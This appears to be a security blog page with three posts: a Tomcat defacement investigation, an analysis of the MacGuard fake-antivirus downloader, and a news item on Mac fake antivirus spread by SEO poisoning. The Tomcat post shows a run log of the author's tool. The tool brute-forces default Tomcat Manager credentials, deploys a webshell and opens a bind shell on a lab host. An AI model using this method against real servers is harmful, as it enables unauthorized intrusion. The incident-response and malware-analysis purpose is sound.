A Case Study of Tomcat Web Server Defacement

I have been asked to investigate a web server which is believed to be compromised by attacker. I knew it was compromised because Symantec detected some files which are located in Apache Tomcat default installation folder:

Figure 1: Symantec detected suspicious HackTool

Unfortunately I can't find the quarantined file from the quarantine setting/folder. Symantec's detection name is a generic one and the description page does not give us any clue about this file.

Information Gathering

I decided to use Google search and hopefully it will provide me some useful hints. Interestingly, I tried a couple of search queries with no luck for example "2.jsp", "docs\funcspecs" and etc. At last, I managed to find something interesting using search query "docs\funcspecs\2.jsp" and Google returned a few number of results:

Figure 2: "docs\funcspecs\2.jsp" search result 

Simply visiting one of the link will lead you to a webpage that looks like a file browser. At the bottom of the webpage, we can clearly see the original author copyright information: jsp File Browser version 1.2 by www.vonloesch.de. Apparently this is an open source JSP file browser which can be further verified after reading the author official's website.

Understanding the Root Cause

There are 2 questions come to my mind until here:

1. How Tomcat was compromised? Why JSP file browser uploaded to the server with a consistent file path: "docs\funcspecs"?
2. What was the vulnerability (if any) the attacker could use in order to compromise the website? 

In order to further understand how the attack was performed, I quickly check Tomcat log files and found the following:

x9090mbp:deploy-undeploy-manager-catalina-log x9090$ grep -i "docs" *
catalina.2012-08-29.log:Info: Undeploying context [/docs]
catalina.2012-08-29.log:Info: Deploying web application archive docs.war
catalina.2012-08-29.log:Info: Deploying web application archive docs.war
manager.2012-08-29.log:Info: HTMLManager: undeploy: Undeploying web application at '/docs'

We can see deploy/undeploy commands from the log and according to our Java developer, he didn't deploy/undeploy "docs" at all. For those who are not familiar with Tomcat, "docs" is a Tomcat webapp that contains documentation page that come with Apache Tomcat by default.

Looking for the Tomcat vulnerabilities from CVE database, we can conclude that there is one potential vulnerability that allows the attacker to upload files to Tomcat server. I believe the vulnerability could be related to CVE-2011-3190 with the following facts:

• We are running the vulnerable Tomcat as described by the CVE
• This vulnerability allows remote attackers to bypass authentication and disclose sensitive information on the targeted server.
• Last but not least, the complexity of this vulnerability is low :)

Despite of the low complexity of this vulnerability, I won't discuss the vulnerability in detail here and there exists a nice write-up on how to utilize this vulnerability with source code available: http://zhh2009.iteye.com/blog/1156191. Anyway as a heads-up, this vulnerability is due to the bug in AJP protocol which is exploitable only if you are running Apache web server as a proxy to Tomcat with mod_jk Apache module. This finding has disappointed me because we do not run Apache web server.

I started wondering if there is other alternative methods to upload file to Tomcat server. Because I'm not really familiar to Tomcat server, I had spent some time to play around with Tomcat in my local environment. After that, I discovered something from Tomcat documentation where users are able to upload webapps using Tomcat Manager. Tomcat Manager is similar to the web administration panel that allows users to manage or configure the Tomcat server remotely. The authentication mechanism for Tomcat Manager is Basic Authentication. Besides that, Tomcat Manager also supports a series of administrator's commands such as deployment of webapps using HTTP PUT request.

Christian Papathanasiou from TrustWave had presented his methods in Black Hat Europe 2010 on how to compromise Tomcat without exploiting any Tomcat vulnerability. In his paper, he described the methods how an attacker could use in order to control Tomcat server by using a simple webapp deployer tool. The tool could also brute-force Tomcat user account which usually comes with default username and password that most of the webmaster would left out.

TomcatAutoPwn Pentesting Tool

Metasploit has come with a module that could achieve this goal, tomcat_mgr_deploy. However this module requires username and password as input. So it is not handy to fully automate the process. So I decided to write a better tool using similar approach as in tomcat_mgr_deploy. The tool uses the wordlist provided by Metasploit, tomcat_mgr_default_userpass.txt.


x9090mbp:PyTomcatAutoPwn x9090$ python PyTomcatAutoPwn.py 172.16.138.131 8080
*******************************
TomcatAutoPwn
*******************************
[+] Connecting to server 172.16.138.131...
[+] Deploying 'browser.war'...
[-] 401 Unauthorized
[+] Brute forcing 'Basic Authentication'...
[+] Attempting username: j2deployer, password: j2deployer
[+] Deploying 'browser.war'...
[-] 401 Unauthorized
[+] Attempting username: ovwebusr, password: OvW*busr1
[+] Deploying 'browser.war'...
[-] 401 Unauthorized
[+] Attempting username: cxsdk, password: kdsxc
[+] Deploying 'browser.war'...
[-] 401 Unauthorized
[+] Attempting username: root, password: owaspbwa
[+] Deploying 'browser.war'...
[-] 401 Unauthorized
[+] Attempting username: ADMIN, password: ADMIN
[+] Deploying 'browser.war'...
[-] 401 Unauthorized
[+] Attempting username: xampp, password: xampp
[+] Deploying 'browser.war'...
[-] 401 Unauthorized
[+] Attempting username: tomcat, password: s3cret
[+] Deploying 'browser.war'...
[-] 401 Unauthorized
[+] Attempting username: admin, password: admintesting
[+] Deploying 'browser.war'...
[-] Failed in deployment
    [*] FAIL - Application already exists at path /browser
[+] TomcatAutoPwn will attempt to redeploy it.
[+] Undeploying 'browser.war'...
[+] Undeployed successfully
[+] Deploying 'browser.war'...
[+] Deployed successfully
[+] Check OS version... Passed!
[+] Server running: Windows XP (5.1) [x86]
[+] Webshell status enabled!: http://172.16.138.131:8080/browser/browser.jsp
[+] Which payload you would like to upload to server? (bind/reverse)bind
[+] Uploading payload to server...
[+] Checking if payload is uploaded successfully?  Success
[+] Bind shell is listening on 172.16.138.131:1234
[+] Connecting to target server...
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Program Files\Apache Software Foundation\Tomcat 6.0>ipconfig
ipconfig

Windows IP Configuration

Ethernet adapter Local Area Connection:

        Connection-specific DNS Suffix  . : localdomain
        IP Address. . . . . . . . . . . . : 172.16.138.131
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 172.16.138.2

Ethernet adapter Bluetooth Network Connection:

        Media State . . . . . . . . . . . : Media disconnected

C:\Program Files\Apache Software Foundation\Tomcat 6.0>echo %USERPROFILE%
echo %USERPROFILE%
C:\Documents and Settings\LocalService

C:\Program Files\Apache Software Foundation\Tomcat 6.0>net config server
net config server
Server Name                           \\USER-851E78F1E7
Server Comment                        

Software version                      Windows 2002
Server is active on                   
NetbiosSmb (000000000000)
NetBT_Tcpip_{8B05CFDD-E437-4D30-BEC1-399C2B487D52} (000c295a6877)


Server hidden                         No
Maximum Logged On Users               10
Maximum open files per session        16384

Idle session time (min)               15
The command completed successfully.

C:\Program Files\Apache Software Foundation\Tomcat 6.0>

Securing your Tomcat

The lessons learnt from this incident and the following actions have been taken to harden Tomcat:

• Rule of thumb: Use non-dictionary username and password
• Use LockOut realm to prevent unlimited invalid login attempts to Tomcat Manager
• Web access is not logged by Tomcat by default. Configure AccessLogValve to log web traffic 
• Update latest version of Tomcat

References

[1] Abusing JBoss by Christian Papathanasiou
[2] Apache Tomcat Remote Exploit (PUT Request) and Account Scanner by Kingcope
[3] Improving Apache Tomcat Security - A Step By Step Guide  - http://www.mulesoft.com/tomcat-security

Signing off @x9090

MacGuard Downloader for MacDefender/MacProtector/MacSecurity

The evolution of MacDefender is out of expectation. Mac rogue antivirus has evolved rapidly until the latest variant MacGuard which does not require administrator password during installation. See MacGuard in action in below screenshots:

Figure 1: MacGuard is downloading 

Figure 2: MacGuard installation

Analysis of MacGuard Downloader

1. Identifying malicious URL

When avRunner is executing, __DownloadWinCtrl_startDownloadingURL__ handler will be executed to start the download routine. Basically, the downloader will first obtain the variables like:  

•  The downloaded fake av archive installer’s name
• The remote server where it hosts the fake av archive installer
•   Affiliates ID used by the server script

These variables can be obtained through __ZL14getConfigParami.

After the variables are obtained, a complete URL is formed which is the remote server address that stores the fake av archive installer. The URL format: 

http://[remote_server_ip]/mac/soft.php?affid=[id]

Figure 3: Start Downloading Mac Fake AV Installer

2. Identifying where the downloaded component will be stored

If the URL is valid and the Objective-C NSURLDownload returns a valid object, it will continue to call local function __ZL21getDownloadedFilePathv to get the local folder directory to store the downloaded file.

Figure 4: Save the Downloaded File to Local Drive

Within the __ZL21getDownloaderFilePathv, it calls __ZL14getConfigParami again to get the downloaded installer’s name. We will look at that function in the next part. The file will be downloaded to “/Application/[installer_name].app.zip”

Figure 5: Get the Downloaded File Path

3. Identifying the remote server URL

As the name implied, __Zl14getConfigParami will read the configuration file and return the desired result, according to the argument passed by the caller, to the caller function.

The configuration file is actually a PNG image file stored inside avRunner package called DownloadPict.png as shown in Figure 7.

Figure 6: Downloader’s Configuration File Reading

Figure 7: avRunner Package Contents

Basically, from Figure 6 second part, it attempts to read the last byte of the picture file which is 27h that is the starting offset where the encoded data is located. After that, it reads 27h bytes encoded data and decode it using simple decoding method. The decoding configuration data can be seen in the highlighted image in Figure 8.

4. Decoding and retrieving the URL's variables

This configuration data will be separated by the delimiter “;”. In short the configuration data can be represented as following:

Index 0 => Installer’s file name

Index 1 => First remote server ip address

Index 2 => Second remote server ip address

Index 3 => Affiliates ID

For example, the caller function can pass argument 0 to get the installer’s file name and so forth.

Figure 8: Decoding DownloadPict Configuration File

After the download is completed, MacGuard will be launched automatically. The downloaded ZIP archive file will be removed from the local drive.




Register your copy of MacGuard


Kaspersky Lab has published a second part of Mac Protector: Register your copy now! Not surprisingly, in the latest variant, it uses the similar string retrieval method as described in Decoding and retrieving the URL's variables.

[NEWS] Mac OSX First Ever Fake Antivirus

The first fake antivirus has been released on Mac OS X recently which is called MacDefender/MacProtector/MacSecurity.

I had a chance to come across this fake av when I did google image search a few days back. Unsurprisingly, this Mac fake av does exactly the same way as what Windows fake av did that is it also presents a fake browser page showing the user that their machine has been infected with malware.

When I did a google image search, I opened an image indexed by google in which google will redirect me to a compromised website with a "hidden" (from novice computer user point of view) javascript. After the compromised page is opened, it will immediately redirect user to another page with URL top level domain "cz.cc" which is where the fake av page will be displayed.

Figure 1: Image Indexed by Google

Figure 2: Script Redirection From Compromised Site

Figure 3: Fake AV Scan Result

Immediately after the scan finished, it will prompt a dialog box to ask download and execute the file after user clicked "Remove all" button.

Figure 4: Download Fake AV File

If you are interested a get a registered version of this MacSecurity, you can visit this post from Kaspersky Lab, http://www.securelist.com/en/blog/11252/Mac_Protector_Register_your_copy_now where you can get a list of valid license key!

Figure 5: Fake AV Scanning in Action

Now I have a registered MacProtector to clean the "detected" file  =)

Figure 6: Registered Copy of MacProtector

Reference


You can visit http://blog.unmaskparasites.com/2011/05/05/thousands-of-hacked-sites-seriously-poison-google-image-search-results/ for the excellent research on google image SEO poisoning technical information.

Have fun!

Signing off @x9090